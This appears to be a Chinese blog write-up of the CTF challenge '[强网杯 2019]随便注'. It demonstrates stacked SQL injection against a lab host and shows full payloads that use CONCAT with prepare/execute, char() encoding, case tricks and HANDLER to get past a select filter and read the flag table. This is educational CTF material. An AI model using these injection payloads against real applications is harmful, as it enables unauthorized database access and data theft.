[强网杯 2019]随便注 1

进入靶场: 由题目得知是sql注入题目

 

注入后报错,采用order by测试:

 

进行联合注入

 

采用堆叠注入:通过 ; 注入多条SQL语句。

先通过show databases爆出数据库。

 

 通过show tables 爆表

 

 分别爆表:

1919810931114514
注意,表名为数字时,采用``引住

 

 爆出flag

这时候要查询数据,需要绕过select过滤

方法一:预编译(借鉴:https://www.cnblogs.com/cmredkulaa/p/14563311.html)

构造payload

复制代码
payload:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;

拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

复制代码

构造如下:

http://85bfd07a-e8ff-4efd-bb7a-237650c1cb69.node4.buuoj.cn:81/?inject=-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;

 

 报错,考虑区分大小写

http://85bfd07a-e8ff-4efd-bb7a-237650c1cb69.node4.buuoj.cn:81/?inject=-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;

成功!

复制代码
1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#

其中:

拆分开来如下:
PREPARE jwt from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL语句

PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句
复制代码
拿到flag!

③HANDLER 方法
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

payload构造:

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;#

 

 拿到flag!

 

posted @   mdgdscy  阅读(106)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
点击右上角即可分享
微信分享提示